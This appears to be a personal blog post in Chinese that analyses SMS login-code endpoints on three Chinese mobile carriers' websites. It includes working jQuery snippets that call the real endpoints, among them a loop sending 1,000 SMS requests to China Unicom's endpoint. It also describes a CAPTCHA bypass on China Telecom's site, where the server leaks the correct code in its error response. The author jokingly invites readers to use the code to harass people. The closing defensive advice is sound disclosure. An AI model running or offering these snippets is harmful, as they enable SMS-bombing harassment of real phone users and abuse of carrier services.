Tecky‘s Blog

你拍一、我拍一,喝着茅台吹牛逼
  首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

这两天在做网站,用到了手机短信验证码。突然想起看看三个移动运营商的网站登录的时候,也有手机短信产生随机码,然后输入手机随机码来登录。经过分析后发现,三个运营商的手机随机码短信,都是通过Ajax方式请求的,而且都存在随意被第三方程序自动调用的情况。下面我们逐一看一看。

首先是联通的网站:

网址如下:http://www.10010.com/

登陆部分的界面如下所示:

image

上图中点击就可以获取对应用户号码的随机密码,通过短信发送到用户手机中。我通过Chrome的Console看了一下他的客户端脚本,发现没有任何次数和时间上的限制,只要是联通的手机号即可。于是我使用Jquery调用Ajax的代码片段如下,有兴趣的可以使用这个代码给不喜欢的联通用户发送骚扰短信了。(手机号码我就不写了,呵呵)

   1: $.ajax({
   2:     cache: false,
   3:     type: "GET",
   4:     url: "http://www.10010.com/login/sendRadomPassword.action",
   5:     data: "mobile=132********"
   6: });

上述示例总是一次请求,如果非要在上面加一个次数的期限的话,他可以是一万次,或者一百万次。比如:

   1: var sendTimes = 1000;
   2: while (sendTimes > 0) {
   3:     $.ajax({
   4:         cache: false,
   5:         type: "GET",
   6:         url: "http://www.10010.com/login/sendRadomPassword.action",
   7:         data: "mobile=132********"
   8:     });
   9:     sendTimes--;
  10: }

下面轮到中国移动:

中国移动的首页网址为:http://www.bj.10086.cn

登陆画面如下:

image

上图中已经说明白了,一分钟可以获取一次短信代码。我又查看了客户端的代码,发现她不仅仅有这个限制,而是有很多的服务器端限制,并以状态码返回,我将状态码整理如下:

StateCode Description
OK 随机短信密码码已成功发送,请注意查收!
LIMIT 每2分钟最多只能发送3条短信随机码,请稍后再试!
ERRORNUM 附加码输入错误,请重试!
ERRORMOBILE 手机号码错误,请使用北京移动号码登录!
DENYSERVICE 您暂时不能使用北京移动的会员服务!
DENY 您暂时不能使用北京移动的会员服务!
ERRTIME 一分钟只能获取一次短信密码
ERRCOUNT 一天最多获取十次短信密码
其他 发送失败,请重试!

帮移动做网站的程序员水平还是不错,居然设计出这么多状态来,说明并非初级,呵呵。下面给出调用的代码:

   1: var mobile = "152********";
   2: $.post("http://www.bj.10086.cn/passport/SendTmpNum?wwwreq=false&mobile=" + mobile + "&logintype=2&rnum=&backURL=");

虽然受到限制,不能批量的发,但是你可以半夜给某个人间隔性发几条短信也不错,而且对方还不知道怎么回事儿,居然移动给自己发随机码,呵呵。

中国电信:

下面说说最扯淡的电信,做的相当到位,但又十分弱智,且看我的分析。

登陆页面地址为:http://bj.ct10000.com/login

image

他做的到位的地方是,需要有正确的验证码的情况下,才能成功发送随机密码短信。因为他的调用方式如下:

   1: $.ajax({
   2:     cache: false,
   3:     type: "GET",
   4:     url: "http://bj.ct10000.com/login/fetchMessage.action",
   5:     data: "custAuthenticateIn.queryValue=189********&randCode=Sa3r"
   6: });

上面的URL要求的数据中有手机号码和图片的验证码,我们因为不知道图片上的验证码,所以无法调用成功,但是电信网站的程序员给我们提供了很大的帮助,因为当验证码错误的时候,他也会给我们返回很多数据,下面是当验证码错误的时候,他返回的JSON字符串:

{ 
    "about_menu": 0,
    "custAuthenticateIn": {
        "areaCode": null,
        "contactID": null,
        "password": null,
        "pwdType": null,
        "queryType": null, "queryValue": "189********", "serialID": null, "systemID": null
    },
    "defaultloginType": 0,
    "defaultpwdType": 0,
    "info": null,
    "loginTypeMap": null,
    "ps": null,
    "psshop": null,
    "pwdTypeMap": null,
    "randCode": "Sa3r",
    "retInfo": null,
    "tip": "验证码错误",
    "validateCode": null
}

上面的randCode是我们刚才虚造的验证码,而validateCode就是服务器端存储的正确的验证码。上面validateCode是null,因为我们还没有请求他的验证码图片。如果我们再写一个请求,请求他的验证码图片路径,validateCode就不是空的。

电信的验证码图片路径为http://bj.ct10000.com/authImg?type=0。我在地址栏请求一下这个地址,当然你可以使用js来请求一下,然后我们再使用上面的Ajax请求发送验证码,将会得到如下的输出:

{
    "about_menu": 0,
    "custAuthenticateIn": {
        "areaCode": null,
        "contactID": null,
        "password": null,
        "pwdType": null,
        "queryType": null,
        "queryValue": "189********",
        "serialID": null,
        "systemID": null
    },
    "defaultloginType": 0,
    "defaultpwdType": 0,
    "info": null,
    "loginTypeMap": null,
    "ps": null,
    "psshop": null,
    "pwdTypeMap": null,
    "randCode": "Sa3r",
    "retInfo": null,
    "tip": "验证码错误",
    "validateCode": "G9dr"
};

呵呵,上面的返回中已经告诉我validateCode=G9dr,这正是我刚才请求的验证码上面的文字,这样的话,我已经得到正确的验证码,修正一下上面的Ajax请求Data就可以了,请可以循环请求很多次,似乎没有次数和时间的限制;如果非要加上一个次数限制的话,我觉得是一万次。好了电信的随机码就这样吧。

总结:

1、联通的短信随机码服务地址,没有任何限制,显然是不对的。

2、移动的使用了服务器端限制,对同一个客户端来讲,有很多的限制i条款,并有明确的状态代码。

3、电信想法是好的,先通过图片验证码的限制,杜绝机器人程序来请求。但是在图片验证码错误的时候,你不应该把正确的验证码返回客户端啊。

  

我的建议:

1、客户端代码非常不安全,即便现在的JQuery类库等让客户端变得更强大更丰富,但是实在是不信,就简单通过Chrome的Consloe就可以随意修改网页上的数据和空间。这就要求,客户端不能存储敏感信息,服务器端要负全责,将客户端的所有必要验证,在服务器端重新验证。

2、限制跨域访问,虽然熟练的程序员都有跨域访问的解决方案,但是起码能限制一些。

3、服务器端对发送Email验证、手机短信之类的服务,应该对单一客户端做出限制策略,比如像移动的方案加上电信的验证码。

4、加密混淆客户端JS代码(或者动态加载),让别人不太容易看懂你的程序而且需要查看网页上的web请求才能得到你的调用方式。

5、使用密文了。

以上这些建议中,最可靠的就是服务器端,当然最好5管齐下。有更多更好的建议,大家讨论讨论。

好了,就这样吧,不要把这个文章中的代码用来骚扰别人(用程序骚扰办假证的我不反对啊!)。我们吸取点经验和教训就行了。